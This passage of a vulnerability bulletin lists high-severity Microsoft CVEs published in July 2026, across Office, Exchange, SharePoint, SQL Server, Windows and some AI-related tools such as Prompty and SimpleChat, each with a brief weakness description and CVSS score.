| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50467</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50665</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50675</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54131</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55017</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55018</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Access of resource using incompatible type ('type confusion') in Microsoft Office allows an unauthorized attacker to execute code locally.       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55022</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Access of resource using incompatible type ('type confusion') in Microsoft Office Excel allows an unauthorized attacker to execute code locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55024</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Access of resource using incompatible type ('type confusion') in Microsoft Office Excel allows an unauthorized attacker to execute code locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55025</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55029</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55031</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55032</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Integer overflow or wraparound in Microsoft Office Word allows an unauthorized attacker to execute code locally.                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55033</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Buffer over-read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55036</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55037</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55038</a> |



# High Vulnerabilities

| Primary Vendor -- Product                           | Description                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55039</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55041</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55043</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55044</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code locally.         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55048</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55049</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55053</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55055</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55056</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55058</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55120</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.             | 2026-07-14 | 7.1        | <a href="#">CVE-2026-55122</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55123</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55125</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55127</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55128</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55129</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55130</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55131</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Double free in Microsoft Office Word allows an unauthorized attacker to execute code locally.                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55132</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office OneNote allows an unauthorized attacker to execute code locally.           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55133</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                   | Description                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55134</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55136</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55137</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55140</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55141</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55899</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55947</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55948</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55949</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56156</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to disclose information locally.                                                                               | 2026-07-14 | 7.1        | <a href="#">CVE-2026-56193</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise                         | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58618</a> |
| Microsoft--<br>Microsoft 365<br>Copilot for Android                         | Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to execute code over a network.              | 2026-07-14 | 9.6        | <a href="#">CVE-2026-48561</a> |
| Microsoft--<br>Microsoft 365<br>Copilot for iOS                             | Improper access control in Microsoft 365 Copilot for iOS allows an unauthorized attacker to elevate privileges over a network.                                                        | 2026-07-14 | 8.1        | <a href="#">CVE-2026-58617</a> |
| Microsoft--<br>Microsoft Bing<br>Search for iOS                             | Improper restriction of rendered ui layers or frames in Microsoft Bing App for IOS allows an unauthorized attacker to perform spoofing over a network.                                | 2026-07-14 | 8.1        | <a href="#">CVE-2026-58595</a> |
| Microsoft--<br>Microsoft<br>Configuration<br>Manager                        | Improper access control in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a network.                                                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-47301</a> |
| Microsoft--<br>Microsoft<br>Defender for<br>Endpoint for Mac                | Time-of-check time-of-use (toctou) race condition in Microsoft Defender allows an authorized attacker to elevate privileges locally.                                                  | 2026-07-14 | 7          | <a href="#">CVE-2026-50658</a> |
| Microsoft--<br>Microsoft<br>Dynamics NAV<br>2018                            | Deserialization of untrusted data in Microsoft Dynamics NAV allows an unauthorized attacker to execute code over a network.                                                           | 2026-07-14 | 9.8        | <a href="#">CVE-2026-55944</a> |
| Microsoft--<br>Microsoft<br>Exchange Server<br>2016 Cumulative<br>Update 23 | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network. | 2026-07-14 | 9.6        | <a href="#">CVE-2026-55008</a> |
| Microsoft--<br>Microsoft<br>Exchange Server                                 | Heap-based buffer overflow in Microsoft Exchange Server allows an authorized attacker to execute code over a network.                                                                 | 2026-07-14 | 8.8        | <a href="#">CVE-2026-55005</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                          | Description                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| 2016 Cumulative Update 23                                          |                                                                                                                                                                                       |            |            |                                |
| Microsoft--<br>Microsoft Exchange Server 2016 Cumulative Update 23 | Insufficient granularity of access control in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55006</a> |
| Microsoft--<br>Microsoft Exchange Server 2016 Cumulative Update 23 | Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55009</a> |
| Microsoft--<br>Microsoft Malware Protection Engine                 | Integer underflow (wrap or wraparound) in Microsoft Defender allows an unauthorized attacker to execute code locally.                                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55011</a> |
| Microsoft--<br>Microsoft Malware Protection Engine                 | Integer overflow or wraparound in Microsoft Defender allows an unauthorized attacker to execute code locally.                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55012</a> |
| Microsoft--<br>Microsoft Office 365 for Mac                        | Stack-based buffer overflow in Windows GDI allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50387</a> |
| Microsoft--<br>Microsoft PC Manager                                | Improper link resolution before file access ('link following') in Microsoft PC Manager allows an authorized attacker to elevate privileges locally.                                   | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50438</a> |
| Microsoft--<br>Microsoft PC Manager                                | Improper link resolution before file access ('link following') in Window PC Manager allows an authorized attacker to elevate privileges locally.                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58636</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.                                                      | 2026-07-14 | 9.8        | <a href="#">CVE-2026-50522</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Weak authentication in Microsoft Office SharePoint allows an unauthorized attacker to bypass a security feature over a network.                                                       | 2026-07-14 | 9.1        | <a href="#">CVE-2026-55040</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.                                                      | 2026-07-14 | 9.8        | <a href="#">CVE-2026-58644</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-55052</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Improper authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.                                                             | 2026-07-14 | 8.8        | <a href="#">CVE-2026-58277</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network. | 2026-07-14 | 7.3        | <a href="#">CVE-2026-55021</a> |
| Microsoft--<br>Microsoft SharePoint Enterprise Server 2016         | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network. | 2026-07-14 | 7.3        | <a href="#">CVE-2026-55034</a> |
| Microsoft--<br>Microsoft SharePoint                                | Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network. | 2026-07-14 | 7.3        | <a href="#">CVE-2026-55126</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Enterprise Server 2016                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| Microsoft--Microsoft SQL Server 2016 Service Pack 3 (GDR) | Improper neutralization of special elements used in an sql command ('sql injection') in SQL Server allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 8.8        | <a href="#">CVE-2026-47295</a> |
| Microsoft--Microsoft SQL Server 2016 Service Pack 3 (GDR) | Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 8.8        | <a href="#">CVE-2026-54118</a> |
| Microsoft--Microsoft SQL Server 2016 Service Pack 3 (GDR) | Improper neutralization of special elements used in an sql command ('sql injection') in SQL Server allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47296</a> |
| Microsoft--Microsoft SQL Server 2016 Service Pack 3 (GDR) | External control of file name or path in SQL Server allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55002</a> |
| Microsoft--Microsoft SQL Server 2025 (CU 6)               | Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 8.8        | <a href="#">CVE-2026-54117</a> |
| Microsoft--Microsoft Surface Go                           | Insufficient granularity of access control in Microsoft Surface allows an authorized attacker to elevate privileges locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48581</a> |
| Microsoft--Microsoft Visual Studio 2022 version 17.12     | Protection mechanism failure in Visual Studio allows an unauthorized attacker to execute code locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47305</a> |
| Microsoft--Minecraft Bedrock Dedicated Server             | Heap-based buffer overflow in Minecraft Bedrock Dedicated Server allows an unauthorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 9.8        | <a href="#">CVE-2026-55010</a> |
| Microsoft--Power BI Report Server                         | Improper neutralization of input during web page generation ('cross-site scripting') in Power BI allows an authorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 8          | <a href="#">CVE-2026-58647</a> |
| microsoft--prompty                                        | Prompty is a markdown file format (.prompty) for LLM prompts. Prior to 2.0.0-beta.2, Prompty loaders expanded \${file:...} references in .prompty frontmatter without enforcing that resolved paths stayed within the prompt directory or allowed roots, allowing an attacker-controlled prompt file to read local files through absolute paths, .. traversal, or symlink escapes. This issue is fixed in versions 2.0.0-beta.2.                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 7.5        | <a href="#">CVE-2026-53598</a> |
| Microsoft--Remote Desktop Web Client                      | Exposure of private personal information to an unauthorized actor in Windows RDP allows an unauthorized attacker to disclose information over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-17 | 7.1        | <a href="#">CVE-2026-56171</a> |
| Microsoft--Service Fabric                                 | Stack-based buffer overflow in Microsoft Fabric Data Warehouse allows an authorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 8.8        | <a href="#">CVE-2026-56642</a> |
| microsoft--simplechat                                     | SimpleChat is a secure AI conversation application with personal and group workspaces for document-grounded interactions. Prior to 0.241.206, several plugin validation routes in application/single_app/plugin_validation_endpoint.py, including 'POST /api/admin/plugins/test-instantiation', 'GET /api/admin/plugins/health-check/<plugin_name>', 'POST /api/admin/plugins/repair/<plugin_name>', and 'POST /api/plugins/validate', relied on @swagger_route(security=get_auth_security()) documentation without enforcing @login_required, @user_required, or @admin_required at runtime, allowing unauthenticated or unauthorized clients to invoke plugin validation, health, and repair behavior. This issue is fixed in version 0.241.206. | 2026-07-16 | 8.6        | <a href="#">CVE-2026-57206</a> |
| Microsoft--Visual Studio Code                             | Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code allows an unauthorized attacker to execute code locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 8.4        | <a href="#">CVE-2026-50520</a> |
| Microsoft--Visual Studio Code                             | Inclusion of functionality from untrusted control sphere in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-57102</a> |



# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Visual Studio Code      | Improper neutralization of input during web page generation ('cross-site scripting') in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.             | 2026-07-14 | 7.1        | <a href="#">CVE-2026-57101</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in SQL Server ODBC driver allows an unauthorized attacker to execute code over a network.                                                                         | 2026-07-14 | 9.8        | <a href="#">CVE-2026-42990</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows FTP Service allows an unauthorized attacker to execute code over a network.                                                                            | 2026-07-14 | 9.8        | <a href="#">CVE-2026-49172</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Kernel allows an unauthorized attacker to elevate privileges locally.                                                                                              | 2026-07-14 | 9.3        | <a href="#">CVE-2026-49798</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code over a network.                                                                                   | 2026-07-14 | 9.6        | <a href="#">CVE-2026-50380</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Message Queuing allows an unauthorized attacker to execute code over a network.                                                                        | 2026-07-14 | 9.8        | <a href="#">CVE-2026-50447</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.                                                                            | 2026-07-14 | 9.8        | <a href="#">CVE-2026-50518</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.                                                                            | 2026-07-14 | 9.8        | <a href="#">CVE-2026-56159</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Server Network driver allows an unauthorized attacker to execute code over a network. | 2026-07-14 | 9.8        | <a href="#">CVE-2026-56188</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Windows RDP allows an unauthorized attacker to execute code over a network.                                                                                 | 2026-07-14 | 9.8        | <a href="#">CVE-2026-56190</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows VMSwitch allows an authorized attacker to elevate privileges over a network.                                                                                       | 2026-07-14 | 9.9        | <a href="#">CVE-2026-57092</a> |
| Microsoft--Windows 10 Version 1607 | Relative path traversal in Windows PowerShell allows an authorized attacker to execute code over a network.                                                                                  | 2026-07-14 | 8          | <a href="#">CVE-2026-40400</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows App Store allows an unauthorized attacker to elevate privileges over a network.       | 2026-07-14 | 8.1        | <a href="#">CVE-2026-42900</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.                                                        | 2026-07-14 | 8          | <a href="#">CVE-2026-42975</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.                                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-48564</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.                                                               | 2026-07-14 | 8.1        | <a href="#">CVE-2026-49164</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Active Directory Domain Services allows an authorized attacker to execute code over a network.                                                                 | 2026-07-14 | 8.8        | <a href="#">CVE-2026-49178</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                                          | 2026-07-14 | 8.4        | <a href="#">CVE-2026-49184</a> |
| Microsoft--Windows 10 Version 1607 | Improper authentication in Windows RPC API allows an unauthorized attacker to elevate privileges over an adjacent network.                                                                   | 2026-07-14 | 8          | <a href="#">CVE-2026-50365</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Remote Desktop Services allows an authorized attacker to elevate privileges over a network.                                                                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50369</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over an adjacent network.                                                                  | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50370</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Kernel allows an unauthorized attacker to disclose information over a network.                                                                            | 2026-07-14 | 8.2        | <a href="#">CVE-2026-50429</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Microsoft Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.                                                               | 2026-07-14 | 8.1        | <a href="#">CVE-2026-50439</a> |
| Microsoft--Windows 10 Version 1607 | Missing authentication for critical function in Windows Server Update Service allows an authorized attacker to elevate privileges over a network.                                       | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50444</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.                                                                                 | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50474</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50477</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50489</a> |
| Microsoft--Windows 10 Version 1607 | Insufficient granularity of access control in Windows Event Logging Service allows an authorized attacker to execute code over a network.                                               | 2026-07-14 | 8          | <a href="#">CVE-2026-50502</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges over a network.                                                          | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50666</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to elevate privileges over an adjacent network.                                                         | 2026-07-14 | 8          | <a href="#">CVE-2026-50683</a> |
| Microsoft--Windows 10 Version 1607 | Access of resource using incompatible type ('type confusion') in Windows OLE allows an unauthorized attacker to execute code over a network.                                            | 2026-07-14 | 8.1        | <a href="#">CVE-2026-50686</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Desktop Window Manager allows an authorized attacker to elevate privileges locally.                                                                       | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50692</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.                                                       | 2026-07-14 | 8.1        | <a href="#">CVE-2026-50694</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-54107</a> |
| Microsoft--Windows 10 Version 1607 | Improper authorization in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges over a network.                                             | 2026-07-14 | 8.8        | <a href="#">CVE-2026-54121</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code locally.                                                                                     | 2026-07-14 | 8.4        | <a href="#">CVE-2026-54122</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows DHCP Client allows an unauthorized attacker to execute code locally.                                                                                          | 2026-07-14 | 8.4        | <a href="#">CVE-2026-54128</a> |
